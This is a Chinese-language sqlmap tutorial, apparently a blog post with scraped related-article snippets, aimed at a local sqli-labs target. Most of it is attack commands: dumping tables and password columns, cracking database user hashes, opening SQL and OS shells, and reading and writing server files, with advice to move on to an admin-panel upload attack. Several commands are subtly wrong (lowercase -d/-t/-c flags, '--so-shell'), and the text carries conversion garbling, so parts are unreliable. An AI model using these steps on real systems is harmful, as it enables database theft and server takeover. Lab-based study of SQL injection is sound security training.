注意:本章使用的注入點是亂寫的,主要以引數應用為主,可以採用自己的注入點
sqlmap需要用到python2和sqlmap
python是乙個執行環境簡稱py,sqlmap是乙個工具,sqlmap需用依靠python環境來執行起來.
sqlmap使用基礎
一.判斷是否存在注入
1.假定目標注入點是
執行 1 sqlmap.py -u 127.0.0.1/sss/?id=1 --batch --batch =跳過選擇
可以判斷出用的什麼資料庫,伺服器,系統,等版本
2.還有一種情況,當注入點後面的引數大於等於2的時候,需要加雙引號
例如: 1 sqlmap.py -u ''
127.0.0.1/sss/?id=1&uid2"
3.判斷問本中的請求是否存在注入
用burp開啟**抓爆,把抓到的post引數複製下來,貼上到記事本裡儲存命名1.txt,在把記事本放到sqlmap資料夾裡.
執行 1 sqlmap.py -r desktop/1.txt
desktop桌面
-r 路徑
ps:這是將1.txt放到桌面下才會新增路徑如果是sqlmap資料夾裡就不用
執行 1 sqlmap.py -r 1.txt
切記cmd也得切換到所在目錄才能執行
執行 1 sqlmap.py -r c:/python27/sqlmap/1.txt
這是相對路徑的使用辦法
4.查詢當前使用者下的所有資料庫
該命令是確定**存在諸如後,用語查詢使用者的所有資料庫,前提是要有許可權讀取.
執行 1 sqlmap.py -u 127.0.0.1/less-2/?id=2 --dbs
5.獲取資料庫中的表名
格式 sqlmap.py -u 127.0.0.1/less-2/?id=2 -d 庫名 --tables
執行 1 sqlmap.py -u 127.0.0.1/less-2/?id=2 -d security --tables 庫名就是第四步所有資料庫下的其中乙個名
6.獲取表中的欄位名(列名)
該命令作用是查詢完表名後,查詢某乙個表名中所有的列,
執行 sqlmap.py -u 127.0.0.1/less-2/?id=2 -d 庫名 -t 列名 --columns
執行 1 sqlmap.py -u 127.0.0.1/less-2/?id=2 -d security -t users --columns
7.獲取字段內容
改名了是查詢完列名後,獲取指定列中具體的字段資料
執行 sqlmap.py -u 127.0.0.1/less-2/?id=2 -d 庫名 -t 列名 -c 列名,列名,列名 --dump
執行 1 sqlmap.py -u 127.0.0.1/less-2/?id=2 -d 庫名 -t 列名 -c id,passwore,username --dump
基本這一步驟就可以找後台進行檔案上傳漏洞了
8.獲取資料庫中所有的使用者
該命令的作用是列出資料庫所有使用者,如果有許可權也可以管理使用者
執行 1 sqlmap.py -u 127.0.0.1/less-2/?id=2 --users
9.獲取資料庫使用者名稱的密碼
該命令是列出資料庫的使用者的密碼,當許可權執行起來時候,sqlmap會先列舉出使用者名稱,然後列出hash 並嘗試破解執行
1 sqlmap.py -u 127.0.0.1/less-2/?id=2 --passwords 也可以加預設--batch
10.獲取當前**資料庫的使用者名稱(**用的是哪個資料庫名)
該命令的作用是列出當前**的使用的資料使用者,
執行 1 sqlmap.py -u 127.0.0.1/less-2/?id=2 --current-user 也可以加預設--batch
11.獲取當前**是哪個的資料庫
1 sqlmap.py -u 127.0.0.1/less-2/?id=2 --current-db
sqlmap使用高階
1.--level 5 探測等級
--level 5指的是一共探測有5個等級(1-5),可以不用加level ,預設等級是1.
執行 1 sqlmap.py -u 127.0.0.1/less-2/?id=2 --level 2
sqlmap使用的payload可以在檔案路徑xml/payloads.xml中看到,也可以按照格式自動新增payload.
其中5級包含的payload最多,自動破解cookie,xff等頭部注入,5級執行的也慢.
這個注入引數會影響的注入點,get和post的資料都會測試,
http cookoe在為2的時候就會測試,
hettp user-agent/referer頭在leve為3的時候就會測試.在不確定哪個漏洞或者注入點時可以提高level值
2.--is-dba:檢視當前使用者賬戶是否為資料庫管理許可權
執行 1 sqlmap.py -u 127.0.0.1/less-2/?id=2 --is-dba 是管理員許可權會返回true
3.--roles:列出資料庫管理員的角色
當使用者有許可權讀取包含所以使用者的表,輸入該命令會列舉出每乙個使用者的角色,也可以用,-u引數指定想看哪個使用者的角色
執行 1 sqlmap.py -u 127.0.0.1/less-2/?id=2 --roles
4.--referer:http referer投
sqlmap可以在請求中偽造http中的referer,當level引數設定為3或者3以上時,會嘗試對referer頭注入.
可以使用referer命令來欺騙,如:--referer
也就是在sqlmap裡執行乙個sql語句 裡面可以執行 select*from users limit 0,1語句
執行 1 sqlmap.py -u 127.0.0.1/less-2/?id=2 --sql-shell
進如成功後
1select*from users; 他會告訴你users這個表裡的所有內容
1 slesct version(); 他會告訴你資料庫版本
6.--os-cmd, --os-shell:執行任意作業系統命令
執行 1 sqlmap.py -u 127.0.0.1/less-2/?id=2 --so-shell
特別注意:使用這兩個命令必須具備的條件
1.資料庫使用者必須是adb超級許可權
2. 知道**的絕對路徑
3.php當中gpc為off,php自動轉義為關閉轉態
4.就算具備以上三個條件,因為涉及到系統命令,也未必可以執行成功
執行 1 sqlmap.py -u 127.0.0.1/less-2/?id=2 --so-cmd=ipconfig
7.--file-read:從伺服器中讀取檔案
該命令用語讀取執行檔案
1 sqlmap.py -u 127.0.0.1/less-2/?id=2 --file-read "
c:/1.txt"
8.--file-write, --file-dest:上傳檔案到資料庫伺服器中
1 sqlmap.py -u 127.0.0.1/less-2/?id=2 --file-write"上傳檔案路徑(相對路徑)
"--file-dest**路徑(寫入路徑)+"
/寫入的檔名
"
sqlmap介紹與使用案例
1.sqlmap簡介 最白話的介紹就是sqlmap是乙個工具,乙個用來做sql注入攻擊的工具 3.2 解壓檔案 解壓到任意資料夾皆可 解壓以後大概是這個樣子的 之後就是要執行這個sqlmap.py的檔案 3.3 啟動乙個命令列,執行sqlmap.py 如果出現這個介面,表示一切正常 按任意鍵結束 4...
sqlmap基礎用法
用法以kali linux下sqli lab第一關為例192.168.198.136 sqli labs less 1 id 1 u 引數 後面跟url 執行 sqlmap u r 引數 後面跟txt txt內容為該url的請求報文資訊 sqlmap r root 1.txt 獲取所有資料庫 sql...
sql注入與sqlmap的使用
一.sql注入產生的原因 sql注入用一句概況就是通過把sql命令插入到web表單提交或輸入網域名稱或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的sql命令。通過控制部分sql語句,攻擊者可以查詢資料庫中任何自己需要的資料,利用資料庫的一些特性,可以直接獲取資料庫伺服器的系統許可權。要利用sql...